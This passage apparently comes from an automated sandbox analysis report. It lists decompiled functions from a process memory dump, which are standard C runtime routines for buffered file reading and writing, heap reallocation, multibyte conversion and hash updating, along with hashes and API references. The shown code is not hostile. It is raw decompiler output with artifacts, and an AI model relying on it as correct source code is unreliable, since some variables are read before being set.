Instruction Fuzzy Hash: 63F03082E00E4696EB7836588C566365651FB63784BECC055E01ECE7B9F6E6CCD04263

Uniqueness

Uniqueness Score: -1.00%

Function 00879384, Relevance: 7.7, APIs: 5, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00879384(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t82;
				signed int _t86;
				char _t89;
				signed int _t96;
				signed int _t98;
				signed int _t101;
				signed int _t104;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				char* _t110;
				signed int _t116;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				signed int _t124;
				void* _t125;

				_t110 = _a4;
				_t108 = _a8;
				_t121 = _a12;
				_v12 = _t110;
				_v8 = _t108;
				if(_t121 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t129 = _t110;
					if(_t110 != 0) {
						_t124 = _a20;
						__eflags = _t124;
						if(_t124 == 0) {
							L9:
							__eflags = _t108 - 0xffffffff;
							if(_t108 != 0xffffffff) {
								_t82 = E0087E710(_t110, 0, _t108);
								_t125 = _t125 + 0xc;
							}
							__eflags = _t124;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t86 = _t82 | 0xffffffff;
								_t116 = _t86 % _t121;
								__eflags = _a16 - _t86 / _t121;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t122 = _t121 * _a16;
								__eflags =  *(_t124 + 0xc) & 0x0000010c;
								_v20 = _t122;
								_t109 = _t122;
								if(( *(_t124 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t124 + 0x18));
								}
								__eflags = _t122;
								if(_t122 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t124 + 0xc) & 0x0000010c;
										if(( *(_t124 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t109 - _v16;
											if(_t109 < _v16) {
												_t89 = E0087DEC2(_t109, _t116, _t122, _t124);
												__eflags = _t89 - 0xffffffff;
												if(_t89 == 0xffffffff) {
													L45:
													return (_t122 - _t109) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L41:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0087E710(_a4, 0, _a8);
													}
													 *((intOrPtr*)(E0087B831(__eflags))) = 0x22;
													L4:
													E0087B7DF();
													goto L5;
												}
												_v12 = _v12 + 1;
												 *_v12 = _t89;
												_t109 = _t109 - 1;
												_t65 =  &_v8;
												 *_t65 = _v8 - 1;
												__eflags =  *_t65;
												_v16 =  *((intOrPtr*)(_t124 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t96 = 0x7fffffff;
												__eflags = _t109 - 0x7fffffff;
												if(_t109 <= 0x7fffffff) {
													_t96 = _t109;
												}
											} else {
												__eflags = _t109 - 0x7fffffff;
												if(_t109 <= 0x7fffffff) {
													_t50 = _t109 % _v16;
													__eflags = _t50;
													_t116 = _t50;
													_t101 = _t109;
												} else {
													_t116 = 0x7fffffff % _v16;
													_t101 = 0x7fffffff;
												}
												_t96 = _t101 - _t116;
											}
											__eflags = _t96 - _v8;
											if(_t96 > _v8) {
												goto L41;
											} else {
												_push(_t96);
												_push(_v12);
												_push(E00879732(_t124));
												_t98 = E0087E59B(_t109, _t116, _t122, _t124, __eflags);
												_t125 = _t125 + 0xc;
												__eflags = _t98;
												if(_t98 == 0) {
													 *(_t124 + 0xc) =  *(_t124 + 0xc) | 0x00000010;
													goto L45;
												}
												__eflags = _t98 - 0xffffffff;
												if(_t98 == 0xffffffff) {
													L44:
													_t72 = _t124 + 0xc;
													 *_t72 =  *(_t124 + 0xc) | 0x00000020;
													__eflags =  *_t72;
													goto L45;
												}
												_v12 = _v12 + _t98;
												_t109 = _t109 - _t98;
												_v8 = _v8 - _t98;
												goto L39;
											}
										}
										_t104 =  *(_t124 + 4);
										__eflags = _t104;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L44;
										}
										_t123 = _t109;
										__eflags = _t109 - _t104;
										if(_t109 >= _t104) {
											_t123 = _t104;
										}
										__eflags = _t123 - _v8;
										if(_t123 > _v8) {
											goto L41;
										} else {
											E0087E691(_v12, _v8,  *_t124, _t123);
											 *(_t124 + 4) =  *(_t124 + 4) - _t123;
											 *_t124 =  *_t124 + _t123;
											_v12 = _v12 + _t123;
											_t109 = _t109 - _t123;
											_t125 = _t125 + 0x10;
											_v8 = _v8 - _t123;
											_t122 = _v20;
										}
										L39:
										__eflags = _t109;
									} while (_t109 != 0);
									goto L40;
								}
							}
						}
						_t107 = _t82 | 0xffffffff;
						_t82 = _t107 / _t121;
						_t116 = _t107 % _t121;
						__eflags = _a16 - _t82;
						if(_a16 <= _t82) {
							goto L13;
						}
						goto L9;
					}
					L3:
					 *((intOrPtr*)(E0087B831(_t129))) = 0x16;
					goto L4;
				}
			}

0x0087938c
0x00879390
0x00879395
0x00879398
0x0087939b
0x008793a0
0x008793bc
0x00000000
0x008793a8
0x008793a8
0x008793aa
0x008793c3
0x008793c6
0x008793c8
0x008793d6
0x008793d6
0x008793d9
0x008793df
0x008793e4
0x008793e4
0x008793e7
0x008793e9
0x00000000
0x008793eb
0x008793eb
0x008793f0
0x008793f2
0x008793f5
0x00000000
0x00000000
0x008793f7
0x008793f7
0x008793fb
0x00879402
0x00879405
0x00879407
0x00879411
0x00879409
0x0087940c
0x0087940c
0x00879418
0x0087941a
0x008794fa
0x00000000
0x00879420
0x00879420
0x00879420
0x00879427
0x0087946d
0x0087946d
0x00879470
0x008794cf
0x008794d5
0x008794d8
0x0087952c
0x00000000
0x00879532
0x008794da
0x008794de
0x00879502
0x00879502
0x00879506
0x00879510
0x00879515
0x0087951d
0x008793b7
0x008793b7
0x00000000
0x008793b7
0x008794e3
0x008794e6
0x008794eb
0x008794ec
0x008794ec
0x008794ec
0x008794ef
0x00000000
0x008794ef
0x00879472
0x00879476
0x00879497
0x0087949c
0x0087949e
0x008794a0
0x008794a0
0x00879478
0x0087947f
0x00879481
0x0087948e
0x0087948e
0x0087948e
0x00879491
0x00879483
0x00879485
0x00879488
0x00879488
0x00879493
0x00879493
0x008794a2
0x008794a5
0x00000000
0x008794a7
0x008794a7
0x008794a8
0x008794b2
0x008794b3
0x008794b8
0x008794bb
0x008794bd
0x0087953a
0x00000000
0x0087953a
0x008794bf
0x008794c2
0x00879528
0x00879528
0x00879528
0x00879528
0x00000000
0x00879528
0x008794c4
0x008794c7
0x008794c9
0x00000000
0x008794c9
0x008794a5
0x00879429
0x0087942c
0x0087942e
0x00000000
0x00000000
0x00879430
0x00000000
0x00000000
0x00879436
0x00879438
0x0087943a
0x0087943c
0x0087943c
0x0087943e
0x00879441
0x00000000
0x00879447
0x00879450
0x00879455
0x00879458
0x0087945a
0x0087945d
0x0087945f
0x00879462
0x00879465
0x00879465
0x008794f2
0x008794f2
0x008794f2
0x00000000
0x00879420
0x0087941a
0x008793e9
0x008793ca
0x008793cf
0x008793cf
0x008793d1
0x008793d4
0x00000000
0x00000000
0x00000000
0x008793d4
0x008793ac
0x008793b1
0x00000000
0x008793b1

APIs

_memset.LIBCMT ref: 008793DF
_memcpy_s.LIBCMT ref: 00879450
__read.LIBCMT ref: 008794B3
__filbuf.LIBCMT ref: 008794CF

Part of subcall function 0087B831: __getptd_noexit.LIBCMT ref: 0087B831

_memset.LIBCMT ref: 00879510

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_memcpy_s
String ID:
API String ID: 4048096073-0
Opcode ID: a7669ca91cd67fe2a5a2c42b5e40d8cc4d089f0c2ab9678a95a086195e6ea39a
Instruction ID: f06a70fbd960c5dfaa910c2977937533e51532d36f79dd45d34fc37cd882aafd
Opcode Fuzzy Hash: a7669ca91cd67fe2a5a2c42b5e40d8cc4d089f0c2ab9678a95a086195e6ea39a
Instruction Fuzzy Hash: 9851E170A00209EBCF258FB9884469EB7B5FF40324F24C669E8ADD62D8D370DE51DB45

Uniqueness

Uniqueness Score: -1.00%

Function 00880242, Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00880242(void* __edx, void* __edi, void* __esi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t27;
				long _t30;

				if(_a4 != 0) {
					_push(__esi);
					_t30 = _a8;
					__eflags = _t30;
					if(_t30 != 0) {
						_push(__edi);
						while(1) {
							__eflags = _t30 - 0xffffffe0;
							if(_t30 > 0xffffffe0) {
								break;
							}
							__eflags = _t30;
							if(_t30 == 0) {
								_t30 = _t30 + 1;
								__eflags = _t30;
							}
							_t7 = HeapReAlloc( *0x889ce8, 0, _a4, _t30);
							_t27 = _t7;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								_t8 = _t27;
							} else {
								__eflags =  *0x889d4c - _t7;
								if(__eflags == 0) {
									_t9 = E0087B831(__eflags);
									 *_t9 = E0087B7EF(GetLastError());
									goto L17;
								} else {
									__eflags = E0087FA9E(_t7, _t30);
									if(__eflags == 0) {
										_t12 = E0087B831(__eflags);
										 *_t12 = E0087B7EF(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E0087FA9E(_t6, _t30);
						 *((intOrPtr*)(E0087B831(__eflags))) = 0xc;
						goto L12;
					} else {
						E0087D622(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E0088012C(__edx, __edi, __esi, _a8);
				}
			}

0x0088024b
0x00880258
0x00880259
0x0088025c
0x0088025e
0x0088026d
0x008802a0
0x008802a0
0x008802a3
0x00000000
0x00000000
0x00880270
0x00880272
0x00880274
0x00880274
0x00880274
0x00880281
0x00880287
0x00880289
0x0088028b
0x008802eb
0x008802eb
0x0088028d
0x0088028d
0x00880293
0x008802d5
0x008802e9
0x00000000
0x00880295
0x0088029c
0x0088029e
0x008802bd
0x008802d1
0x008802b7
0x008802b7
0x008802b7
0x00000000
0x00000000
0x00000000
0x0088029e
0x00880293
0x00000000
0x008802b9
0x008802a6
0x008802b1
0x00000000
0x00880260
0x00880263
0x00880269
0x00880269
0x008802ba
0x008802bc
0x0088024d
0x00880257
0x00880257

APIs

_malloc.LIBCMT ref: 00880250

Part of subcall function 0088012C: __FF_MSGBANNER.LIBCMT ref: 00880145
Part of subcall function 0088012C: __NMSG_WRITE.LIBCMT ref: 0088014C
Part of subcall function 0088012C: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,0087A5F9,0087F3C2,00000001,0087F3C2,?,0087D7FD,00000018,00886ED0,0000000C,0087D88D), ref: 00880171

_free.LIBCMT ref: 00880263

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 4046eda72573a0938442bf398d3087a069c4a9c2ab1fe89d7f84d712b94e147f
Instruction ID: 39ebff81b3b9c006580513224e51b1f5592399ffe98b653970fd0d4985130713
Opcode Fuzzy Hash: 4046eda72573a0938442bf398d3087a069c4a9c2ab1fe89d7f84d712b94e147f
Instruction Fuzzy Hash: AC11C132804615EBCBA27B7CA80876E3796FF543B0B208535FD4DDB151EBB4C8448B96

Uniqueness

Uniqueness Score: -1.00%

Function 00880EA9, Relevance: 7.5, APIs: 5, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00880EA9(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t12;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t20 = __ebx;
				_push(0xc);
				_push(0x8870a0);
				E0087C4C0(__ebx, __edi, __esi);
				_t28 = E0087F4A5(__ebx, __edx, _t31);
				_t12 =  *0x888c78; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t12) == 0) {
					L6:
					E0087D872(_t20, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t29 = _t28 + 0x6c;
					 *((intOrPtr*)(_t30 - 0x1c)) = E00880E5C(_t29,  *0x888ec0);
					 *(_t30 - 4) = 0xfffffffe;
					E00880F16();
				} else {
					_t33 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E0087F4A5(_t20, __edx, _t33) + 0x6c));
					}
				}
				_t34 = _t29;
				if(_t29 == 0) {
					_push(0x20);
					E0087A272(_t25, _t34);
				}
				return E0087C505(_t29);
			}

0x00880ea9
0x00880ea9
0x00880ea9
0x00880ea9
0x00880ea9
0x00880eab
0x00880eb0
0x00880eba
0x00880ebc
0x00880ec4
0x00880ee8
0x00880eea
0x00880ef0
0x00880efa
0x00880f05
0x00880f08
0x00880f0f
0x00880ec6
0x00880ec6
0x00880eca
0x00000000
0x00880ecc
0x00880ed1
0x00880ed1
0x00880eca
0x00880ed4
0x00880ed6
0x00880ed8
0x00880eda
0x00880edf
0x00880ee7

APIs

__getptd.LIBCMT ref: 00880EB5

Part of subcall function 0087F4A5: __getptd_noexit.LIBCMT ref: 0087F4A8
Part of subcall function 0087F4A5: __amsg_exit.LIBCMT ref: 0087F4B5

__getptd.LIBCMT ref: 00880ECC
__amsg_exit.LIBCMT ref: 00880EDA
__lock.LIBCMT ref: 00880EEA
__updatetlocinfoEx_nolock.LIBCMT ref: 00880EFE

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 7910ef55b2f60b33713ad1d3920b1342c48cb20efbcbef776647a634ca7c987f
Instruction ID: 231ae7951873872a2d97d8ae171fcb0305cdd781040f84137a2f6333f0fffa97
Opcode Fuzzy Hash: 7910ef55b2f60b33713ad1d3920b1342c48cb20efbcbef776647a634ca7c987f
Instruction Fuzzy Hash: 51F06D729007049BE6A1BBAC980271F32A0FF00724F658919E518E61E6CF7499449B6B

Uniqueness

Uniqueness Score: -1.00%

Function 00879758, Relevance: 6.1, APIs: 4, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00879758(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t56;
				signed int _t60;
				void* _t65;
				signed int _t66;
				signed int _t69;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t79;
				signed int _t81;
				signed int _t85;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				intOrPtr* _t96;
				void* _t97;

				_t92 = _a8;
				if(_t92 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t96 = _a16;
					_t100 = _t96;
					if(_t96 != 0) {
						_t79 = _a4;
						__eflags = _t79;
						if(__eflags == 0) {
							goto L3;
						}
						_t60 = _t56 | 0xffffffff;
						_t88 = _t60 % _t92;
						__eflags = _a12 - _t60 / _t92;
						if(__eflags > 0) {
							goto L3;
						}
						_t93 = _t92 * _a12;
						__eflags =  *(_t96 + 0xc) & 0x0000010c;
						_v8 = _t79;
						_v16 = _t93;
						_t78 = _t93;
						if(( *(_t96 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t96 + 0x18);
						}
						__eflags = _t93;
						if(_t93 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t81 =  *(_t96 + 0xc) & 0x00000108;
								__eflags = _t81;
								if(_t81 == 0) {
									L18:
									__eflags = _t78 - _v12;
									if(_t78 < _v12) {
										_t65 = E0087A7CD(_t88, _t93,  *_v8, _t96);
										__eflags = _t65 - 0xffffffff;
										if(_t65 == 0xffffffff) {
											L34:
											_t66 = _t93;
											L35:
											return (_t66 - _t78) / _a8;
										}
										_v8 = _v8 + 1;
										_t69 =  *(_t96 + 0x18);
										_t78 = _t78 - 1;
										_v12 = _t69;
										__eflags = _t69;
										if(_t69 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t81;
									if(_t81 == 0) {
										L21:
										__eflags = _v12;
										_t94 = _t78;
										if(_v12 != 0) {
											_t72 = _t78;
											_t88 = _t72 % _v12;
											_t94 = _t94 - _t72 % _v12;
											__eflags = _t94;
										}
										_push(_t94);
										_push(_v8);
										_push(E00879732(_t96));
										_t71 = E0087C352(_t78, _t88, _t94, _t96, __eflags);
										_t97 = _t97 + 0xc;
										__eflags = _t71 - 0xffffffff;
										if(_t71 == 0xffffffff) {
											L36:
											 *(_t96 + 0xc) =  *(_t96 + 0xc) | 0x00000020;
											_t66 = _v16;
											goto L35;
										} else {
											_t85 = _t94;
											__eflags = _t71 - _t94;
											if(_t71 <= _t94) {
												_t85 = _t71;
											}
											_v8 = _v8 + _t85;
											_t78 = _t78 - _t85;
											__eflags = _t71 - _t94;
											if(_t71 < _t94) {
												goto L36;
											} else {
												L27:
												_t93 = _v16;
												goto L31;
											}
										}
									}
									_t74 = E00878FA4(_t88, _t96);
									__eflags = _t74;
									if(_t74 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t75 =  *(_t96 + 4);
								__eflags = _t75;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t45 = _t96 + 0xc;
									 *_t45 =  *(_t96 + 0xc) | 0x00000020;
									__eflags =  *_t45;
									goto L34;
								}
								_t95 = _t78;
								__eflags = _t78 - _t75;
								if(_t78 >= _t75) {
									_t95 = _t75;
								}
								E0087E790( *_t96, _v8, _t95);
								 *(_t96 + 4) =  *(_t96 + 4) - _t95;
								 *_t96 =  *_t96 + _t95;
								_t97 = _t97 + 0xc;
								_t78 = _t78 - _t95;
								_v8 = _v8 + _t95;
								goto L27;
								L31:
								__eflags = _t78;
							} while (_t78 != 0);
							goto L32;
						}
					}
					L3:
					 *((intOrPtr*)(E0087B831(_t100))) = 0x16;
					E0087B7DF();
					goto L4;
				}
			}

0x00879763
0x00879768
0x00879787
0x00000000
0x00879770
0x00879770
0x00879773
0x00879775
0x0087978e
0x00879791
0x00879793
0x00000000
0x00000000
0x00879795
0x0087979a
0x0087979c
0x0087979f
0x00000000
0x00000000
0x008797a1
0x008797a5
0x008797ac
0x008797af
0x008797b2
0x008797b4
0x008797be
0x008797b6
0x008797b9
0x008797b9
0x008797c5
0x008797c7
0x0087988c
0x00000000
0x008797cd
0x008797cd
0x008797d0
0x008797d0
0x008797d6
0x00879807
0x00879807
0x0087980a
0x00879863
0x0087986a
0x0087986d
0x00879898
0x00879898
0x0087989a
0x00000000
0x0087989e
0x0087986f
0x00879872
0x00879875
0x00879876
0x00879879
0x0087987b
0x0087987d
0x0087987d
0x00000000
0x0087987b
0x0087980c
0x0087980e
0x0087981b
0x0087981b
0x0087981f
0x00879821
0x00879825
0x00879827
0x0087982a
0x0087982a
0x0087982a
0x0087982c
0x0087982d
0x00879837
0x00879838
0x0087983d
0x00879840
0x00879843
0x008798a6
0x008798a6
0x008798aa
0x00000000
0x00879845
0x00879845
0x00879847
0x00879849
0x0087984b
0x0087984b
0x0087984d
0x00879850
0x00879852
0x00879854
0x00000000
0x00879856
0x00879856
0x00879856
0x00000000
0x00879856
0x00879854
0x00879843
0x00879811
0x00879817
0x00879819
0x00000000
0x00000000
0x00000000
0x00879819
0x008797d8
0x008797db
0x008797dd
0x00000000
0x00000000
0x008797df
0x00879894
0x00879894
0x00879894
0x00000000
0x00879894
0x008797e5
0x008797e7
0x008797e9
0x008797eb
0x008797eb
0x008797f3
0x008797f8
0x008797fb
0x008797fd
0x00879800
0x00879802
0x00000000
0x00879884
0x00879884
0x00879884
0x00000000
0x008797cd
0x008797c7
0x00879777
0x0087977c
0x00879782
0x00000000
0x00879782

APIs

_memmove.LIBCMT ref: 008797F3
__flush.LIBCMT ref: 00879811
__write.LIBCMT ref: 00879838
__flsbuf.LIBCMT ref: 00879863

Part of subcall function 0087B831: __getptd_noexit.LIBCMT ref: 0087B831

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 3b5a3df676f62d93f46d6844ae55470159fd0aca92d034312ed9ab4a466721c5
Instruction ID: 920290a8b5f2ffa0a8219535911e1fbe5c0d76543406c2d9eef12b2cab290e3d
Opcode Fuzzy Hash: 3b5a3df676f62d93f46d6844ae55470159fd0aca92d034312ed9ab4a466721c5
Instruction Fuzzy Hash: DB418031A006499BDF28DF698884AAEBBB5FF81364F29C578E49DD7248D770ED40CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00881195, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00881195(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				char _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E0087A931( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E008810AA( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0087B831(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x0088119f
0x008811a6
0x008811bd
0x00000000
0x008811ad
0x008811af
0x008811c9
0x008811ce
0x008811d1
0x008811d4
0x008811fc
0x00881203
0x00881205
0x00881286
0x008812a1
0x008812a3
0x008811e3
0x008811e3
0x008811e6
0x008811e8
0x008811eb
0x008811eb
0x008811eb
0x008811eb
0x00000000
0x008811f1
0x00881265
0x00881265
0x0088126a
0x00881270
0x00881273
0x00881275
0x00881278
0x00881278
0x00881278
0x00881278
0x00000000
0x0088127c
0x00881207
0x0088120a
0x00881210
0x00881213
0x0088123a
0x0088123d
0x00881243
0x00000000
0x00000000
0x00881245
0x00881248
0x00000000
0x00000000
0x0088124a
0x0088124a
0x00881250
0x00881253
0x008811c2
0x008811c2
0x0088125c
0x00000000
0x0088125c
0x00881215
0x00881218
0x00000000
0x00000000
0x0088121c
0x0088122d
0x00881233
0x00881235
0x00881238
0x00000000
0x00000000
0x00000000
0x00881238
0x008811d6
0x008811d9
0x008811db
0x008811e0
0x008811e0
0x00000000
0x008811b1
0x008811b1
0x008811b6
0x008811ba
0x008811ba
0x00000000
0x008811b6
0x008811af

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 008811C9
__isleadbyte_l.LIBCMT ref: 008811FC
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000,?,?,?,0000000C,?,00000000), ref: 0088122D
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,00000000,00000000,?,?,?,0000000C,?,00000000), ref: 0088129B

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 66f403985ea7791071b4b56af2f01ddd176614c5be553d37adff073f4c8c2b95
Instruction ID: ce1fad5968536731f39017451c657d442afcd826b689fc28055dc722825a363c
Opcode Fuzzy Hash: 66f403985ea7791071b4b56af2f01ddd176614c5be553d37adff073f4c8c2b95
Instruction Fuzzy Hash: A231B135A14246EFCF20EFA8C88CAAE3BA9FF01350F1485A9E565CB191DB30D942DB51

Uniqueness

Uniqueness Score: -1.00%

Function 008785E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008785E0(unsigned int __eax, void* __ecx, signed int* __esi, intOrPtr _a4) {
				signed int _v8;
				signed int _t21;
				void* _t29;
				unsigned int _t32;
				signed int _t34;
				signed int _t35;
				unsigned int _t41;
				signed int* _t43;
				void* _t44;

				_t43 = __esi;
				_t34 =  *__esi;
				_t41 = __eax;
				_t21 = _t34 & 0x0000003f;
				_t35 = _t34 + __eax;
				_t29 = 0x40 - _t21;
				_v8 = _t21;
				 *__esi = _t35;
				if(_t35 < __eax) {
					__esi[1] = __esi[1] + 1;
				}
				if(_t21 != 0 && _t41 >= _t29) {
					E0087E790( &(_t43[0xa]) + _t21, _a4, _t29);
					E00875E90( &(_t43[0xa]), _t43);
					_v8 = 0;
					_t21 = _v8;
					_t44 = _t44 + 0x10;
					_t41 = _t41 - _t29;
					_a4 = _a4 + _t29;
				}
				if(_t41 >= 0x40) {
					_t32 = _t41 >> 6;
					do {
						E00875E90(_a4, _t43);
						_a4 = _a4 + 0x40;
						_t44 = _t44 + 4;
						_t41 = _t41 - 0x40;
						_t32 = _t32 - 1;
					} while (_t32 != 0);
					_t21 = _v8;
				}
				if(_t41 != 0) {
					_t21 = E0087E790( &(_t43[0xa]) + _t21, _a4, _t41);
				}
				return _t21;
			}

0x008785e0
0x008785e4
0x008785e8
0x008785ec
0x008785f4
0x008785f6
0x008785f8
0x008785fb
0x008785ff
0x00878601
0x00878601
0x00878606
0x00878616
0x0087861f
0x00878624
0x0087862b
0x0087862e
0x00878631
0x00878633
0x00878633
0x00878639
0x0087863d
0x00878640
0x00878644
0x00878649
0x0087864d
0x00878650
0x00878653
0x00878653
0x00878656
0x00878656
0x0087865b
0x00878667
0x0087866c
0x00878674

APIs

_memmove.LIBCMT ref: 00878616
_memmove.LIBCMT ref: 00878667

Strings

@, xrefs: 00878649

Memory Dump Source

